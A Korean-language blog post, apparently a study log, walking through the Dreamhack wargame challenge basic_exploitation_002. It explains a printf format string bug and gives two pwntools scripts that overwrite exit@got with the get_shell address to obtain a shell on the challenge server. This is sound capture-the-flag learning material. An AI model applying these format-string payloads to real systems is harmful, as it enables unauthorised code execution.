학습 기록일지

Dreamhack - basic_exploitation_002 본문

카테고리 없음

Dreamhack - basic_exploitation_002

KRMP 2021. 5. 27. 19:51

포너블 3번째문제

checksec

gdb에서 확인해보면 RELRO, NX bit가 활성화 되어있다.

RELRO (출처 : https://howd4ys.github.io/2019-01-02/RELRO-is-fun1)

 - No RELRO 는 ELF 기본헤더 , 코드영역 를 제외한 거의 모든 부분에 Read , Write 권한을 주는 것

 - Partial RELRO 는 NO RELRO와 매우 비슷하지만 차이점이 있다면 _DYNAMIC 섹션에 쓰기 권한이 없어짐

 - FULL RELRO 는 bss 영역을 제외한 모든 부분에서 write권한이 없어짐 (bss란 ELF섹션중 하나)

 

basic_exploitation_002.c

위 코드는 basic_2 문제의 소스코드이다.

확인해보면 앞에 문제와 마찬가지로 initialize() 라는 함수로 타이머를 걸어주며,

친절하게 쉘을 얻을 수 있는 get_shell()이라는 함수가 존재한다

buf의 크기는 0x80 이며 입력에 제한이 있으므로 오버플로우 취약점은 사용할 수 없다.

하지만 printf 함수에 출력 형식이 지정되지 않아 포맷스트링 취약점을 이용하여 쉘을 휙득 가능하다.

 

====

포맷 스트링 버그는 printf나 sprintf와 같이 포맷 스트링을 사용하는 함수에서 발생하는 취약점으로, "%x"나 "%s"와 같이 프로그래머가 지정한 문자열이 아닌 사용자의 입력이 포맷 스트링으로 전달될 때 발생하는 취약점이다.

참고 : https://krampus.tistory.com/58

====

 

본격적으로 문제를 풀어보자

문자열을 최대 0x80 바이트 입력하여 출력해준다.

문자열 입력
%x %d 와 같은 출력문자로 입력

위 소스에서 봤듯이 printf의 출력 형식이 지정되지 않아 메모리를 읽어온다.

 

포맷 스트링 버그 취약점을 이용하기 위해 exit() 함수의 got 주소와,

쉘에대한 명령어를 담고있는 get_shell 함수 주소도 알아야한다.

exit@got : 0x804a024
get_shell : 0x08048609

exit@got : 0x804a024

get_shell : 0x08048609

필요한 주소를 모두 구했다면 쉘코드를 작성해보자.

 

포맷스트링 함수에선 %n 문자를 이용하여 앞에서 출력한것들을 다음 인자로 넣어줄 수 있다. (이 때 문자열 하나당 카운트 1됨)

예를들어 printf("asd123%n", &a) 로 사용한다면 &a에서 6으로 사용하게된다

값 또한 2바이트가 들어가야 하기에 n이 아닌 hn이 포맷스트링으로 사용된다. (%n = 4byte, %hn = 2byte)

 

셸코드의 구조는 다음과 같다.

[exit@got+2][exit@got] + [get_shell주소 - 8]    // %n

>>>> %hn으로  

([exit@got+2][exit@got] + [get_shell 상위 2바이트 - 8]) as A + [get_shell 하위 2바이트 - A]    // 내가 알아보려고

여기서 got+2를 해주는 이유는 

설명 : 원래라면 exit@got 로 적어주는것도 가능하지만, 0x08048609=134,514,185 를 입력해야하는데 %n을 통한 공격방식은 숫자만큼 출력되어야 한다. 즉 위 카운트된거만큼 출력되야하는데 이는 시간도 오래걸리기때문에 시간초과로 실패할 수 있다.

그렇기에 %hn 을 이용한 2바이트씩 나눠서 출력하게 되면 exit@got 로부터 2바이트에는 0x8609를 입력하고 exit@got+2로부터는 0x804를 출력할 수 있어  비교적 짧은 시간 이내에 입력하는것이 가능하다. 결국 exit@got 에다가 4바이트 주소인 0x08048609를 입력하는것과 같게 된다.

 

 

 

여기서 get_shell 함수의 주소를 2바이트씩 나눈 이유는, 

16진수 7자리를 모두 써주게되면  134,514,185라는 어마어마한 숫자의 문자가 들어가지만, 

0x804 = 2052,

0x8609 = 34,313

2바이트씩 나누게 되면 들어가는 문자가 현저히 적어진다.

 

 

== 코드 ==

from pwn import *
#p = process('./basic_exploitation_002')
p = remote("host1.dreamhack.games",13265)

#804a024
print(0x804 - 0x8)
shell = b'\x26\xa0\x04\x08'+b'\x24\xa0\x04\x08'+b'%2044c%1$hn'+b'%32261c%2$hn'

p.sendline(shell)

p.interactive()

========

 

프로그램을 실행시 문자열이 공백으로 입력되고 코드가 실행된다.

 

결과

 

 

이 외에도 pwntools 내 모듈을 이용한 좋은 코드가 존재하여 가져와봤다.

출처 : https://dreamhack.io/wargame/challenges/4/writeups?page=2&id=3169

======

from pwn import *

#context.log_level = ‘debug’

binary = ‘basic_exploitation_002’

s = remote(‘host1.dreamhack.games’, 14719)

e = ELF(binary)

exit_got = e.got[‘exit’]
get_shell = 0x08048609

s.sendline(fmtstr_payload(1,{exit_got : get_shell}))

s.interactive()

====== 

fmtstr_payload 

ELF, got 사용 

 

상단 2바이트 입력시 %[주소]c%1$hn 혹은 %[주소]c%hn 으로 사용. 하단일 2byte 경우엔 %[주소]c%2$hn

 

%hn : 2byte

%hhn : 1byte